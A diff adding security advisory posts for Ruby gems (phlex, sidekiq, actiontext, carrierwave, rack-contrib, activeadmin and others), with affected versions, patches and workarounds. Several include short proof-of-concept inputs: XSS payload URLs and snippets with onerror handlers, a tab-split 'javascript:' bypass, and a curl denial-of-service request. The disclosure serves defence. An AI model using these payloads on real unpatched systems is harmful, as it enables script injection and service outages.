+    We recommend to update the RDoc gem to version 6.6.3.1 or later. In order to
+    ensure compatibility with bundled version in older Ruby series, you may
+    update as follows instead:
+
+    * For Ruby 3.0 users: Update to `rdoc` 6.3.4.1
+    * For Ruby 3.1 users: Update to `rdoc` 6.4.1.1
+    * For Ruby 3.2 users: Update to `rdoc` 6.5.1.1
+
+    You can use `gem update rdoc` to update it. If you are using bundler, please
+    add `gem "rdoc", ">= 6.6.3.1"` to your `Gemfile`.
+
+    Note: 6.3.4, 6.4.1, 6.5.1 and 6.6.3 have a incorrect fix. We recommend to
+    upgrade 6.3.4.1, 6.4.1.1, 6.5.1.1 and 6.6.3.1 instead of them.
+  cvss_v3: 4.5
+  patched_versions:
+  - "~> 6.3.4, >= 6.3.4.1"
+  - "~> 6.4.1, >= 6.4.1.1"
+  - ">=  6.5.1.1"
+---
diff --git a/advisories/_posts/2024-03-25-CVE-2024-29034.md b/advisories/_posts/2024-03-25-CVE-2024-29034.md
new file mode 100644
index 00000000..db4f6f5c
--- /dev/null
+++ b/advisories/_posts/2024-03-25-CVE-2024-29034.md
@@ -0,0 +1,74 @@
+---
+layout: advisory
+title: 'CVE-2024-29034 (carrierwave): CarrierWave content-Type allowlist bypass vulnerability
+  which possibly leads to XSS remained'
+comments: false
+categories:
+- carrierwave
+advisory:
+  gem: carrierwave
+  cve: 2024-29034
+  ghsa: vfmv-jfc5-pjjw
+  url: https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-vfmv-jfc5-pjjw
+  title: CarrierWave content-Type allowlist bypass vulnerability which possibly leads
+    to XSS remained
+  date: 2024-03-25
+  description: |
+    ### Impact
+
+    The vulnerability [CVE-2023-49090](https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj)
+    wasn't fully addressed.
+
+    This vulnerability is caused by the fact that when uploading to
+    object storage, including Amazon S3, it is possible to set a
+    Content-Type value that is interpreted by browsers to be different
+    from what's allowed by `content_type_allowlist`, by providing
+    multiple values separated by commas.
+
+    This bypassed value can be used to cause XSS.
+
+    ### Patches
+
+    Upgrade to [3.0.7](https://rubygems.org/gems/carrierwave/versions/3.0.7) or [2.2.6](https://rubygems.org/gems/carrierwave/versions/2.2.6).
+
+    ### Workarounds
+    Use the following monkey patch to let CarrierWave parse the
+    Content-type by using `Marcel::MimeType.for`.
+
+    ```ruby
+    # For CarrierWave 3.x
+    CarrierWave::SanitizedFile.class_eval do
+      def declared_content_type
+        @declared_content_type ||
+          if @file.respond_to?(:content_type) && @file.content_type
+            Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
+          end
+      end
+    end
+    ```
+
+    ```ruby
+    # For CarrierWave 2.x
+    CarrierWave::SanitizedFile.class_eval do
+      def existing_content_type
+        if @file.respond_to?(:content_type) && @file.content_type
+          Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
+        end
+      end
+    end
+    ```
+
+    ### References
+
+    [OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)
+  cvss_v3: 6.8
+  patched_versions:
+  - "~> 2.2.6"
+  - ">= 3.0.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-29034
+    - https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-vfmv-jfc5-pjjw
+    - https://github.com/carrierwaveuploader/carrierwave/commit/25b1c800d45ef8e78dc445ebe3bd8a6e3f0a3477
+    - https://github.com/advisories/GHSA-vfmv-jfc5-pjjw
+---
diff --git a/advisories/_posts/2024-04-16-CVE-2024-32463.md b/advisories/_posts/2024-04-16-CVE-2024-32463.md
new file mode 100644
index 00000000..8e0b284b
--- /dev/null
+++ b/advisories/_posts/2024-04-16-CVE-2024-32463.md
@@ -0,0 +1,63 @@
+---
+layout: advisory
+title: 'CVE-2024-32463 (phlex): Cross-site Scripting (XSS) possible due to improper
+  sanitisation of `href` attributes on `<a>` tags'
+comments: false
+categories:
+- phlex
+advisory:
+  gem: phlex
+  cve: 2024-32463
+  ghsa: g7xq-xv8c-h98c
+  url: https://github.com/phlex-ruby/phlex/security/advisories/GHSA-g7xq-xv8c-h98c
+  title: Cross-site Scripting (XSS) possible due to improper sanitisation of `href`
+    attributes on `<a>` tags
+  date: 2024-04-16
+  description: |
+    ### Summary
+
+    There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.
+
+    Our filter to detect and prevent the use of the `javascript:` URL scheme in the `href` attribute of an `<a>` tag could be bypassed with tab `\t` or newline `\n` characters between the characters of the protocol, e.g. `java\tscript:`.
+
+    ### Impact
+
+    If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.
+
+    ```ruby
+    a(href: user_profile) { "Profile" }
+    ```
+
+    ### Mitigation
+
+    The best way to mitigate this vulnerability is to update to one of the following versions:
+
+    - [1.10.1](https://rubygems.org/gems/phlex/versions/1.10.1)
+    - [1.9.2](https://rubygems.org/gems/phlex/versions/1.9.2)
+    - [1.8.3](https://rubygems.org/gems/phlex/versions/1.8.3)
+    - [1.7.2](https://rubygems.org/gems/phlex/versions/1.7.2)
+    - [1.6.3](https://rubygems.org/gems/phlex/versions/1.6.3)
+    - [1.5.3](https://rubygems.org/gems/phlex/versions/1.5.3)
+    - [1.4.2](https://rubygems.org/gems/phlex/versions/1.4.2)
+
+    ### Workarounds
+
+    Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.
+  cvss_v3: 7.1
+  patched_versions:
+  - "~> 1.4.2"
+  - "~> 1.5.3"
+  - "~> 1.6.3"
+  - "~> 1.7.2"
+  - "~> 1.8.3"
+  - "~> 1.9.2"
+  - ">= 1.10.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-28199
+    - https://github.com/phlex-ruby/phlex/security/advisories/GHSA-g7xq-xv8c-h98c
+    - https://github.com/phlex-ruby/phlex/commit/9e3f5b980655817993682e409cbda72956d865cb
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline
+    - https://github.com/advisories/GHSA-g7xq-xv8c-h98c
+---
diff --git a/advisories/_posts/2024-04-16-GHSA-g7xq-xv8c-h98c.md b/advisories/_posts/2024-04-16-GHSA-g7xq-xv8c-h98c.md
new file mode 100644
index 00000000..8d7c053a
--- /dev/null
+++ b/advisories/_posts/2024-04-16-GHSA-g7xq-xv8c-h98c.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'GHSA-g7xq-xv8c-h98c (phlex): Cross-site Scripting (XSS) possible due to improper
+  sanitisation of `href` attributes on `<a>` tags'
+comments: false
+categories:
+- phlex
+advisory:
+  gem: phlex
+  ghsa: g7xq-xv8c-h98c
+  url: https://github.com/phlex-ruby/phlex/security/advisories/GHSA-g7xq-xv8c-h98c
+  title: Cross-site Scripting (XSS) possible due to improper sanitisation of `href`
+    attributes on `<a>` tags
+  date: 2024-04-16
+  description: |
+    ### Summary
+    There is a potential cross-site scripting (XSS) vulnerability that can be exploited via maliciously crafted user data.
+
+    Our filter to detect and prevent the use of the `javascript:` URL scheme in the `href` attribute of an `<a>` tag could be bypassed with tab `\t` or newline `\n` characters between the characters of the protocol, e.g. `java\tscript:`.
+
+    ### Impact
+
+    If you render an `<a>` tag with an `href` attribute set to a user-provided link, that link could potentially execute JavaScript when clicked by another user.
+
+    ```ruby
+    a(href: user_profile) { "Profile" }
+    ```
+
+    ### Mitigation
+
+    The best way to mitigate this vulnerability is to update to one of the following versions:
+
+    - [1.10.1](https://rubygems.org/gems/phlex/versions/1.10.1)
+    - [1.9.2](https://rubygems.org/gems/phlex/versions/1.9.2)
+    - [1.8.3](https://rubygems.org/gems/phlex/versions/1.8.3)
+    - [1.7.2](https://rubygems.org/gems/phlex/versions/1.7.2)
+    - [1.6.3](https://rubygems.org/gems/phlex/versions/1.6.3)
+    - [1.5.3](https://rubygems.org/gems/phlex/versions/1.5.3)
+    - [1.4.2](https://rubygems.org/gems/phlex/versions/1.4.2)
+
+    ### Workarounds
+    Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline) would effectively prevent this vulnerability from being exploited.
+  cvss_v3: 7.1
+  patched_versions:
+  - "~> 1.4.2"
+  - "~> 1.5.3"
+  - "~> 1.6.3"
+  - "~> 1.7.2"
+  - "~> 1.8.3"
+  - "~> 1.9.2"
+  - ">= 1.10.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-28199
+    - https://github.com/phlex-ruby/phlex/commit/9e3f5b980655817993682e409cbda72956d865cb
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline
+---
diff --git a/advisories/_posts/2024-04-26-CVE-2024-32887.md b/advisories/_posts/2024-04-26-CVE-2024-32887.md
new file mode 100644
index 00000000..43713a94
--- /dev/null
+++ b/advisories/_posts/2024-04-26-CVE-2024-32887.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2024-32887 (sidekiq): Reflected XSS in Metrics Web Page'
+comments: false
+categories:
+- sidekiq
+advisory:
+  gem: sidekiq
+  cve: 2024-32887
+  ghsa: GHSA-q655-3pj8-9fxq
+  url: https://github.com/sidekiq/sidekiq/security/advisories/GHSA-q655-3pj8-9fxq
+  title: Reflected XSS in Metrics Web Page
+  date: 2024-04-26
+  description: |
+    Reflected XSS in Sidekiq Web UI via the `/metrics` HTTP end-point and the
+    `substr` query param:
+
+        https://{host}/sidekiq/metrics?substr=foot%22%3E%3Cscript%20src=%22{payload}%22%20/%3E
+  cvss_v3: 5.5
+  unaffected_versions:
+  - "< 7.2.0"
+  patched_versions:
+  - ">= 7.2.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-32887
+    - https://github.com/sidekiq/sidekiq/commit/30786e082c70349ab27ffa9eccc42fb0c696164d
+---
diff --git a/advisories/_posts/2024-05-01-CVE-2024-32970.md b/advisories/_posts/2024-05-01-CVE-2024-32970.md
new file mode 100644
index 00000000..3b16d6cc
--- /dev/null
+++ b/advisories/_posts/2024-05-01-CVE-2024-32970.md
@@ -0,0 +1,83 @@
+---
+layout: advisory
+title: 'CVE-2024-32970 (phlex): Phlex vulnerable to Cross-site Scripting (XSS) via
+  maliciously formed HTML attribute names and values'
+comments: false
+categories:
+- phlex
+advisory:
+  gem: phlex
+  cve: 2024-32970
+  ghsa: 9p57-h987-4vgx
+  url: https://github.com/phlex-ruby/phlex/security/advisories/GHSA-9p57-h987-4vgx
+  title: Phlex vulnerable to Cross-site Scripting (XSS) via maliciously formed HTML
+    attribute names and values
+  date: 2024-05-01
+  description: |
+    There is a potential cross-site scripting (XSS) vulnerability that
+    can be exploited via maliciously crafted user data.
+
+    The reason these issues were not detected before is the escapes were
+    working as designed. However, their design didn't take into account
+    just how recklessly permissive browser are when it comes to executing
+    unsafe JavaScript via HTML attributes.
+
+    ### Impact
+
+    If you render an `<a>` tag with an `href` attribute set to an
+    user-provided link, that link could potentially execute JavaScript
+    when clicked by another user.
+
+    ```ruby
+    a(href: user_profile) { "Profile" }
+    ```
+
+    If you splat user-provided attributes when rendering any HTML or SVG
+    tag, malicious event attributes could be included in the output,
+    executing JavaScript when the events are triggered by another user.
+
+    ```ruby
+    h1(**JSON.parse(user_attributes))
+    ```
+
+    ### Patches
+
+    Patches are [available on RubyGems](https://rubygems.org/gems/phlex)
+    for all minor versions released in the last year.
+
+    - [1.10.2](https://rubygems.org/gems/phlex/versions/1.10.2)
+    - [1.9.3](https://rubygems.org/gems/phlex/versions/1.9.3)
+
+    If you are on `main`, it has been patched since
+    [`da8f943`](https://github.com/phlex-ruby/phlex/commit/da8f94342a84cff9d78c98bcc3b3604ee2e577d2)
+
+    ### Workarounds
+
+    Configuring a [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)
+    that does not allow [`unsafe-inline`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline)
+    would effectively prevent this vulnerability from being exploited.
+
+    ### References
+
+    In addition to upgrading to a patched version of Phlex, we strongly
+    recommend configuring a Content Security Policy header that does
+    not allow `unsafe-inline`. Here’s how you can configure a Content
+    Security Policy header in Rails.
+    https://guides.rubyonrails.org/security.html#content-security-policy-header
+  cvss_v3: 7.1
+  patched_versions:
+  - "~> 1.9.3"
+  - ">= 1.10.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-32970
+    - https://github.com/phlex-ruby/phlex/security/advisories/GHSA-9p57-h987-4vgx
+    - https://github.com/phlex-ruby/phlex/commit/da8f94342a84cff9d78c98bcc3b3604ee2e577d2
+    - https://rubygems.org/gems/phlex
+    - https://rubygems.org/gems/phlex/versions/1.10.2
+    - https://rubygems.org/gems/phlex/versions/1.9.3
+    - https://github.com/payloadbox/xss-payload-list
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
+    - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#unsafe-inline
+    - https://github.com/advisories/GHSA-9p57-h987-4vgx
+---
diff --git a/advisories/_posts/2024-05-07-CVE-2024-34341.md b/advisories/_posts/2024-05-07-CVE-2024-34341.md
new file mode 100644
index 00000000..6c73986b
--- /dev/null
+++ b/advisories/_posts/2024-05-07-CVE-2024-34341.md
@@ -0,0 +1,81 @@
+---
+layout: advisory
+title: 'CVE-2024-34341 (actiontext): Arbitrary Code Execution Vulnerability in Trix
+  Editor included in ActionText'
+comments: false
+categories:
+- actiontext
+advisory:
+  gem: actiontext
+  cve: 2024-34341
+  ghsa: qjqp-xr96-cj99
+  url: https://github.com/advisories/GHSA-qjqp-xr96-cj99
+  title: Arbitrary Code Execution Vulnerability in Trix Editor included in ActionText
+  date: 2024-05-07
+  description: |
+    From version 7.0 onwards the ActionText gem includes a copy of the Trix rich text editor.
+    Prior to versions 7.0.8.3 and 7.1.3.3, ActionText included a version of Trix that
+    is vulnerable to arbitrary code execution when
+    copying and pasting content from the web or other documents with markup into the editor.
+    The vulnerability stems from improper sanitization of pasted content, allowing an attacker
+    to embed malicious scripts which are executed within the context of the application.
+
+    # Vulnerable Versions:
+      * 7.1 series older than 7.1.3.3
+      * 7.0 series older than 7.0.8.3
+
+    # Fixed Versions:
+      * 7.1.3.3
+      * 7.0.8.3
+
+    # Vector:
+
+    Bug 1: When copying content manipulated by a script, such as:
+    ```javascript
+    document.addEventListener('copy', function(e){
+      e.clipboardData.setData('text/html', '<div><noscript><div class="123</noscript>456<img src=1 onerror=alert(1)//"></div></noscript></div>');
+      e.preventDefault();
+    });
+    ```
+    and pasting into the Trix editor, the script within the content is executed.
+
+    Bug 2: Similar execution occurs with content structured as:
+
+    ```javascript
+    document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html&quot;,&quot;content&quot;:&quot;&lt;img src=1 onerror=alert(101)&gt;HELLO123&quot;}"></div>me`);
+    ```
+
+    # Impact:
+
+    An attacker could exploit these vulnerabilities to execute arbitrary JavaScript code
+    within the context of the user's session, potentially leading to unauthorized actions
+    being performed or sensitive information being disclosed.
+
+    # Remediation:
+
+    Update Recommendation: Users of ActionText 7.0 should upgrade to ActionText version 7.0.8.3 or later.
+    Users of ActionText 7.1 should upgrade to version 7.1.3.3 or later.
+    These updated versions incorporate proper sanitization of input from copied content.
+
+    CSP Enhancement: Additionally, enhancing the Content Security Policy (CSP) to disallow inline scripts
+    can significantly mitigate the risk of such vulnerabilities.
+    Set CSP policies such as script-src 'self' to ensure that only scripts hosted on the same origin
+    are executed, and explicitly prohibit inline scripts using script-src-elem.
+  unaffected_versions:
+  - "< 7.0.0"
+  patched_versions:
+  - "~> 7.0.8.3"
+  - ">= 7.1.3.3"
+  cvss_v3: 5.4
+  related:
+    url:
+    - https://discuss.rubyonrails.org/t/xss-vulnerabilities-in-trix-editor/85803
+    - https://github.com/basecamp/trix/releases/tag/v2.1.1
+    - https://github.com/basecamp/trix/pull/1147
+    - https://github.com/basecamp/trix#1149
+    - https://github.com/basecamp/trix#1153
+    - https://github.com/basecamp/trix/security/advisories/GHSA-qjqp-xr96-cj99
+    - https://github.com/basecamp/trix/commit/1a5c68a14d48421fc368e30026f4a7918028b7ad
+    - https://github.com/basecamp/trix/commit/841ff19b53f349915100bca8fcb488214ff93554
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-34341
+---
diff --git a/advisories/_posts/2024-05-13-GHSA-r95h-9x8f-r3f7.md b/advisories/_posts/2024-05-13-GHSA-r95h-9x8f-r3f7.md
new file mode 100644
index 00000000..cb098f52
--- /dev/null
+++ b/advisories/_posts/2024-05-13-GHSA-r95h-9x8f-r3f7.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'GHSA-r95h-9x8f-r3f7 (nokogiri): Nokogiri updates packaged libxml2 to v2.12.7
+  to resolve CVE-2024-34459'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: r95h-9x8f-r3f7
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-r95h-9x8f-r3f7
+  title: Nokogiri updates packaged libxml2 to v2.12.7 to resolve CVE-2024-34459
+  date: 2024-05-13
+  description: |
+    ## Summary
+
+    Nokogiri v1.16.5 upgrades its dependency libxml2 to
+    [2.12.7](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.12.7) from 2.12.6.
+
+    libxml2 v2.12.7 addresses CVE-2024-34459:
+
+    - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/720
+    - patched by https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53
+
+    ## Impact
+
+    There is no impact to Nokogiri users because the issue is present only
+    in libxml2's `xmllint` tool which Nokogiri does not provide or expose.
+
+    ## Timeline
+
+    - 2024-05-13 05:57 EDT, libxml2 2.12.7 release is announced
+    - 2024-05-13 08:30 EDT, nokogiri maintainers begin triage
+    - 2024-05-13 10:05 EDT, nokogiri [v1.16.5 is released](https://github.com/sparklemotion/nokogiri/releases/tag/v1.16.5)
+      and this GHSA made public
+  patched_versions:
+  - ">= 1.16.5"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-r95h-9x8f-r3f7
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.16.5
+    - https://gitlab.gnome.org/GNOME/libxml2/-/commit/2876ac53
+    - https://gitlab.gnome.org/GNOME/libxml2/-/issues/720
+    - https://github.com/advisories/GHSA-r95h-9x8f-r3f7
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-34459
+---
diff --git a/advisories/_posts/2024-05-16-CVE-2024-35176.md b/advisories/_posts/2024-05-16-CVE-2024-35176.md
new file mode 100644
index 00000000..1046ae8f
--- /dev/null
+++ b/advisories/_posts/2024-05-16-CVE-2024-35176.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2024-35176 (rexml): REXML contains a denial of service vulnerability'
+comments: false
+categories:
+- rexml
+advisory:
+  gem: rexml
+  cve: 2024-35176
+  ghsa: vg3r-rm7w-2xgh
+  url: https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh
+  title: REXML contains a denial of service vulnerability
+  date: 2024-05-16
+  description: |
+    ### Impact
+
+    The REXML gem before 3.2.6 has a DoS vulnerability when it
+    parses an XML that has many `<`s in an attribute value.
+
+    If you need to parse untrusted XMLs, you many be impacted
+    to this vulnerability.
+
+    ### Patches
+
+    The REXML gem 3.2.7 or later include the patch to fix this
+    vulnerability.
+
+    ### Workarounds
+
+    Don't parse untrusted XMLs.
+
+    ### References
+
+    * https://www.ruby-lang.org/en/news/2024/05/16/dos-rexml-cve-2024-35176/
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 3.2.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-35176
+    - https://www.ruby-lang.org/en/news/2024/05/16/dos-rexml-cve-2024-35176
+    - https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh
+    - https://github.com/ruby/rexml/commit/4325835f92f3f142ebd91a3fdba4e1f1ab7f1cfb
+    - https://github.com/advisories/GHSA-vg3r-rm7w-2xgh
+---
diff --git a/advisories/_posts/2024-05-27-CVE-2024-32978.md b/advisories/_posts/2024-05-27-CVE-2024-32978.md
new file mode 100644
index 00000000..e37eaaf0
--- /dev/null
+++ b/advisories/_posts/2024-05-27-CVE-2024-32978.md
@@ -0,0 +1,69 @@
+---
+layout: advisory
+title: 'CVE-2024-32978 (kaminari): Insecure File Permissions vulnerability in kaminari'
+comments: false
+categories:
+- kaminari
+advisory:
+  gem: kaminari
+  cve: 2024-32978
+  ghsa: 7r3j-qmr4-jfpj
+  url: https://nvd.nist.gov/vuln/detail/CVE-2024-32978
+  title: Insecure File Permissions vulnerability in kaminari
+  date: 2024-05-27
+  description: |
+    kaminari versions prior to 0.16.2 are vulnerable to an Insecure File
+    Permissions vulnerability, where certain files within the kaminari gem have
+    insecure file permissions.
+
+    Versions Affected: < 0.16.2
+    Fixed Versions: >= 0.16.2
+
+    # Impact
+
+    An attacker with local access could write arbitrary code to the affected files
+    resulting in arbitrary code execution.
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    Manually set the permissions of the affected files to `644`.
+
+    ## All Affected Versions:
+
+    ```
+    lib/kaminari/models/page_scope_methods.rb
+    ```
+
+    ## Version 0.15.0 and 0.15.1:
+
+    ```
+    spec/models/mongo_mapper/mongo_mapper_spec.rb
+    ```
+
+    ## Version 0.16.0:
+
+    ```
+    spec/models/mongo_mapper/mongo_mapper_spec.rb
+    spec/models/mongoid/mongoid_spec.rb
+    ```
+
+    ## Version 0.16.1:
+
+    ```
+    spec/models/active_record/scopes_spec.rb
+    spec/models/mongo_mapper/mongo_mapper_spec.rb
+    spec/models/mongoid/mongoid_spec.rb
+    gemfiles/data_mapper_12.gemfile
+    gemfiles/active_record_32.gemfile
+    ```
+  cvss_v3: 6.6
+  patched_versions:
+  - ">= 0.16.2"
+  related:
+    url:
+    - https://github.com/kaminari/kaminari/security/advisories/GHSA-7r3j-qmr4-jfpj
+---
diff --git a/advisories/_posts/2024-05-27-CVE-2024-35231.md b/advisories/_posts/2024-05-27-CVE-2024-35231.md
new file mode 100644
index 00000000..9cd817e6
--- /dev/null
+++ b/advisories/_posts/2024-05-27-CVE-2024-35231.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2024-35231 (rack-contrib): Denial of Service in rack-contrib via "profiler_runs"
+  parameter'
+comments: false
+categories:
+- rack-contrib
+advisory:
+  gem: rack-contrib
+  cve: 2024-35231
+  ghsa: 8c8q-2xw3-j869
+  url: https://nvd.nist.gov/vuln/detail/CVE-2024-35231
+  title: Denial of Service in rack-contrib via "profiler_runs" parameter
+  date: 2024-05-27
+  description: |
+    rack-contrib prior to version 2.5.0 is vulnerable to a Denial of Service
+    via the `profiler_runs` HTTP request parameter.
+
+    Versions Affected: < 2.5.0
+    Fixed Versions: >= 2.5.0
+
+    # Impact
+
+    An attacker can trigger a Denial of Service by sending an HTTP request with
+    an overly large `profiler_runs` parameter.
+
+    ```shell
+    curl  "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
+    ```
+
+    # Releases
+
+    The fixed releases are available at the normal locations.
+
+    # Workarounds
+
+    There are no feasible workarounds for this issue.
+  cvss_v3: 8.6
+  patched_versions:
+  - ">= 2.5.0"
+  related:
+    url:
+    - https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7
+    - https://github.com/advisories/GHSA-8c8q-2xw3-j869
+---
diff --git a/advisories/_posts/2024-06-02-CVE-2024-37031.md b/advisories/_posts/2024-06-02-CVE-2024-37031.md
new file mode 100644
index 00000000..99bedb72
--- /dev/null
+++ b/advisories/_posts/2024-06-02-CVE-2024-37031.md
@@ -0,0 +1,85 @@
+---
+layout: advisory
+title: 'CVE-2024-37031 (activeadmin): activeadmin vulnerable to stored persistent
+  cross-site scripting (XSS) in dynamic form legends'
+comments: false
+categories:
+- activeadmin
+advisory:
+  gem: activeadmin
+  cve: 2024-37031
+  ghsa: 9mg6-x45v-hcfm
+  url: https://github.com/activeadmin/activeadmin/security/advisories/GHSA-9mg6-x45v-hcfm
+  title: activeadmin vulnerable to stored persistent cross-site scripting (XSS) in
+    dynamic form legends
+  date: 2024-06-02
+  description: |
+    ### Impact
+
+    Users settings their active admin form legends dynamically may be
+    vulnerable to stored XSS, as long as its value can be injected
+    directly by a malicious user.
+
+    For example:
+
+    * A public web application allows users to create entities with
+      arbitrary names.
+    * Active Admin is used to administrate these entities through a
+      private backend.
+    * The form to edit these entities in the private backend has the
+      following shape (note the dynamic `name` value dependent on an
+      attribute of the `resource`):
+
+    ```ruby
+      form do |f|
+        f.inputs name: resource.name do
+          f.input :name
+          f.input :description
+        end
+
+        f.actions
+      end
+    ```
+
+    Then a malicious user could create an entity with a payload that
+    would get executed in the active admin administrator's browser.
+
+    Both `form` blocks with an implicit or explicit name (i.e., both
+    `form resource.name` or `form name: resource.name` would suffer
+    from the problem), where the value of the name can be arbitrarily
+    set by non admin users.
+
+    ### Patches
+
+    The problem has been fixed in ActiveAdmin 3.2.2 and ActiveAdmin 4.0.0.beta7.
+
+    ### Workarounds
+
+    Users can workaround this problem without upgrading by explicitly
+    escaping the form name using an HTML escaping utility. For example:
+
+    ```ruby
+      form do |f|
+        f.inputs name: ERB::Util.html_escape(resource.name) do
+          f.input :name
+          f.input :description
+        end
+
+        f.actions
+      end
+    ```
+    Upgrading is of course recommended though.
+
+    ### References
+    https://owasp.org/www-community/attacks/xss/#stored-xss-attacks
+  cvss_v3: 7.2
+  patched_versions:
+  - "~> 3.2, >= 3.2.2"
+  - ">= 4.0.0.beta7"
+  related:
+    url:
+    - https://github.com/activeadmin/activeadmin/security/advisories/GHSA-9mg6-x45v-hcfm
+    - https://github.com/activeadmin/activeadmin/pull/8349
+    - https://owasp.org/www-community/attacks/xss/#stored-xss-attacks
+    - https://github.com/advisories/GHSA-9mg6-x45v-hcfm
+---
diff --git a/advisories/_posts/2024-06-04-CVE-2024-28103.md b/advisories/_posts/2024-06-04-CVE-2024-28103.md
new file mode 100644
index 00000000..a9bd8a58
--- /dev/null
+++ b/advisories/_posts/2024-06-04-CVE-2024-28103.md
@@ -0,0 +1,77 @@
+---
+layout: advisory
+title: 'CVE-2024-28103 (actionpack): Missing security headers in Action Pack on non-HTML
+  responses'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2024-28103
+  ghsa: fwhr-88qx-h9g7
+  url: https://github.com/rails/rails/security/advisories/GHSA-fwhr-88qx-h9g7
+  title: Missing security headers in Action Pack on non-HTML responses
+  date: 2024-06-04
+  description: |
+    Permissions-Policy is Only Served on HTML Content-Type
+
+    The application configurable Permissions-Policy is only served
+    on responses with an HTML related Content-Type.
+
+    This has been assigned the CVE identifier CVE-2024-28103.
+
+    Versions Affected:  >= 6.1.0
+    Not affected:       < 6.1.0
+    Fixed Versions:     6.1.7.8, 7.0.8.4, and 7.1.3.4
+
+    Impact
+    ------
+
+    Responses with a non-HTML Content-Type are not serving the configured
+    Permissions-Policy. There are certain non-HTML Content-Types that
+    would benefit from having the Permissions-Policy enforced.
+
+    Releases
+    --------
+
+    The fixed releases are available at the normal locations.
+
+    Workarounds
+    -----------
+
+    N/A
+
+    Patches
+    -------
+
+    To aid users who aren't able to upgrade immediately we have provided
+    patches for the supported release series in accordance with our
+    [maintenance policy](https://guides.rubyonrails.org/maintenance_policy.html#security-issues)
+    regarding security issues. They are in git-am format and consist
+    of a single changeset.
+
+    * 6-1-include-permissions-policy-header-on-non-html.patch - Patch for 6.1 series
+    * 7-0-include-permissions-policy-header-on-non-html.patch - Patch for 7.0 series
+    * 7-1-include-permissions-policy-header-on-non-html.patch - Patch for 7.1 series
+
+    Credits
+    -------
+
+    Thank you [shinkbr](https://hackerone.com/shinkbr) for reporting this!
+  cvss_v3: 5.4
+  unaffected_versions:
+  - "< 6.1.0"
+  patched_versions:
+  - "~> 6.1.7, >= 6.1.7.8"
+  - "~> 7.0.8, >= 7.0.8.4"
+  - "~> 7.1.3, >= 7.1.3.4"
+  - ">= 7.2.0.beta2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-28103
+    - https://github.com/rails/rails/security/advisories/GHSA-fwhr-88qx-h9g7
+    - https://github.com/rails/rails/commit/35858f1d9d57f6c4050a8d9ab754bd5d088b4523
+    - https://github.com/advisories/GHSA-fwhr-88qx-h9g7
+---
diff --git a/advisories/_posts/2024-06-04-CVE-2024-32464.md b/advisories/_posts/2024-06-04-CVE-2024-32464.md
new file mode 100644
index 00000000..25468c7f
--- /dev/null
+++ b/advisories/_posts/2024-06-04-CVE-2024-32464.md
@@ -0,0 +1,68 @@
+---
+layout: advisory
+title: 'CVE-2024-32464 (actiontext): ActionText ContentAttachment can Contain Unsanitized
+  HTML'
+comments: false
+categories:
+- actiontext
+- rails
+advisory:
+  gem: actiontext
+  framework: rails
+  cve: 2024-32464
